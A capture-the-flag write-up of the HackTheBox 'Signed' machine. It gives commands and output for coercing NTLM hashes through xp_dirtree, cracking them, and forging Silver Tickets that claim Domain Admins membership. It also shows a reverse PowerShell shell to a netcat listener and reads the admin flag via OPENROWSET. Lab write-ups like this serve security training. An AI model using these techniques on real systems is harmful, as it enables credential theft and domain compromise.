Machine Info

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH

Host / IP

10.10.11.90 / SIGNED.HTB DC01.SIGNED.HTB. We add the record to our /etc/hosts.

TLDR

Summuary
  1. Use a SQL extended proc (xp_dirtree) to force the SQL service to authenticate to your SMB listener, capture the MSSQL service NTLMv2 hash, crack it → get mssqlsvc password.
  2. Forge a Silver ticket (Kerberos service ticket) for the MSSQL SPN using the service NT hash + domain SID + desired group RIDs (e.g. the IT group that is mapped to SQL sysadmin). Import that ticket and connect: SQL maps you to dbo/sysadmin and you can run xp_cmdshell or OPENROWSET to read files.
  3. For root: create a forged ticket that also claims membership in Domain Admins (RID 512) and Enterprise Admins (519) so the PAC causes the MSSQL service to run privileged file reads (OPENROWSET) as the service account and return C:\Users\Administrator\Desktop\root.txt.

User

Nmap

We run our initial nmap scan nmap -p 1-65535 -T4 -A -v 10.10.11.90

Nmap scan report for 10.10.11.90
Host is up (0.29s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-11T18:31:24
|_Not valid after: 2055-10-11T18:31:24
| ms-sql-ntlm-info:
| 10.10.11.90:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.10.11.90:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-10-11T18:33:03+00:00; -25m44s from scanner time.
Host script results:
|_clock-skew: mean: -25m44s, deviation: 0s, median: -25m44s

MSSQL Enumeration

We will use mssqlclient from Impacket.

1
impacket-mssqlclient signed.htb/scott:'Sm230#C5NatH'@10.10.11.90

Trying to enable xp_cmdshell failed of course as that would have been too easy.

enable xp_cmdshell

We see that the databases are the default ones also.

enum_db

Continuing the enumeration we enum the users, logins and the accounts we can impersonate.

enum_db

Info
We don’t get any luck. Interesting to point out the users that reveal that we as scott are assigned to guest username and clearly the db admin is dbo.

We then move forward and trying to see if we have permissions executing xp_dirtree. If we get the result 1 from the below command we have the appropriate permissions.

1
2
SELECT OBJECT_ID('master..xp_dirtree') AS objid
SELECT HAS_PERMS_BY_NAME('master..xp_dirtree','OBJECT','EXECUTE') AS can_execute_xp_dirtree
enum_db

NTLM hash via xp_dirtree

As we have confirmed that we can run xp_dirtree we can use an known trick and try to get the mssql service to try an authenticate to our share and then we can grab the NTLM hash.

  1. We start Responder responder -I tun0

  2. We browse the directory on a remote SMB share that we control xp_dirtree \\10.10.xx.xx\lol

  3. We get the NTLMv2 hash of user mssqlsvc

    ntlmv2

  4. Lastly we just need to crack it john --wordlist=/usr/share/wordlists/rockyou.txt mssqlsvc.hash

And we get the password which is

Show solution
purPLE9795!@

MSSQL connection as mssqlsvc

1
impacket-mssqlclient signed.htb/mssqlsvc:'purPLE9795!@'@10.10.11.90 -windows-auth

We check and see that still we cannot run xp_cmdshell and that we don’t have sysadmin priveleges. So we enumarate the users to see who has what with enum_logins.

Info

We can see that sa and SIGNED\IT has sysadmin priveleges along with some service accounts.

priveleges

Attack plan: Silver Ticket

silver ticket
Info

We need

  • the NTLM hash of the service account.
  • the IT group SID which is what elevates our priveleges and our user SID.
  • the SPN of the target service.

We will also need a helper script to convert the binary hex SIDs to readable format.

Get the SIDs

  • select SUSER_SID('SIGNED\IT')
  • select SUSER_SID('SIGNED\mssqlsvc')
    SIDs

Get the SIDs into human readable format

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
import argparse, binascii, struct

def sid_from_hex(hexstr: str) -> str:
    # normalize: drop "0x" and spaces
    h = hexstr.strip().lower().replace("0x", "").replace(" ", "")
    b = binascii.unhexlify(h)
    if len(b) < 8:
        raise ValueError("Too short to be a SID")
    rev = b[0]
    subauth_count = b[1]
    # IdentifierAuthority is 6 bytes, big-endian
    id_auth = int.from_bytes(b[2:8], "big")
    # SubAuthorities are DWORDs, little-endian
    subs = []
    off = 8
    for _ in range(subauth_count):
        if off + 4 > len(b):
            raise ValueError("Truncated SID (missing subauthorities)")
        subs.append(struct.unpack("<I", b[off:off+4])[0])
        off += 4
    return "S-{}-{}".format(rev, id_auth) + ("-" + "-".join(map(str, subs)) if subs else "")

if __name__ == "__main__":
    p = argparse.ArgumentParser(description="Convert hex SID bytes to SDDL string")
    p.add_argument("hex", help="Hex string like 01050000... (spaces/0x allowed)")
    args = p.parse_args()
    print(sid_from_hex(args.hex))

After retrieving and converting the scripts we get these two:

  1. S-1-5-21-4088429403-1159899800-2753317549-1105 for the IT group
  2. S-1-5-21-4088429403-1159899800-2753317549-1103 for the mssqlsvc

Calculate the NTLM hash

iconv -f ASCII -t UTF-16LE <(printf 'purPLE9795!@') | openssl dgst -md4

Which gives the hash
EF699384C3285C54128A3EE1DDB1A0CC

Create the Silver Ticket

1
impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 -user-id 1103 mssqlsvc
ticketer command
Info
impacket-ticketer (full name: ticketer.py) is a Kerberos ticket forger — part of Impacket’s tools. In simple terms, it creates (forges) Kerberos TGT or TGS tickets offline, using the NTLM hash or AES key of a domain account (usually the krbtgt account).

Then we export the Kerberos credenital cache with export KRB5CCNAME=mssqlsvc.ccache and we are ready to authenicate with elevated priveleges.

Get User flag

We connect using the ticket impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB.

Then we enable_xp_cmdshell and we can simply grab the flag

1
xp_cmdshell type C:\Users\mssqlsvc\Desktop\user.txt

Root

First thing to do which we could have done even before is to establish a reverse powershell.

  • In one terminal we start our listener: nc -lnvp 4444
  • And on the MS SQL client we execute the payload: SQL (SIGNED\mssqlsvc dbo@master)> xp_cmdshell powershell -e JABjAGwAaQBlAG4Ad......
    rev shell

Privelege Escalation

Info
We are going to do the exact same thing with the Silver Ticket but we are going to include Domain Admins and Entrerprise Admins RIDs.
Get-ADGroup "Domain Admins" | Select-Object Name, SID
Get-ADGroup "Enterprise Admins" | Select-Object Name, SID

Then we are going to follow the exact same process with the ticketer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 512,519,1105 -user-id 1103 mssqlsvc 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache
                                                                                                                              
┌──(kali㉿kali)-[~/Desktop/season9/signed]
└─$ export KRB5CCNAME=mssqlsvc.ccache               

                                                                                                                              
┌──(kali㉿kali)-[~/Desktop/season9/signed]
└─$ impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc  dbo@master)>

Read Admin flag via OPENROWSET

SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS x;

Why this worked?

Question

If we were to try and read the flag with xp_cmdshell it would fail!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 EXEC xp_cmdshell 'whoami & type C:\Users\Administrator\Desktop\root.txt';
output              
-----------------   
signed\mssqlsvc     

Access is denied.   

NULL                

SQL (SIGNED\mssqlsvc  dbo@master)> 

OPENROWSET(BULK...), on the other hand, is an OLE DB bulk provider call made inside SQL Server. It asks the SQL Server process to open the file and return it as a table/value. No shell is spawned — it’s purely T-SQL.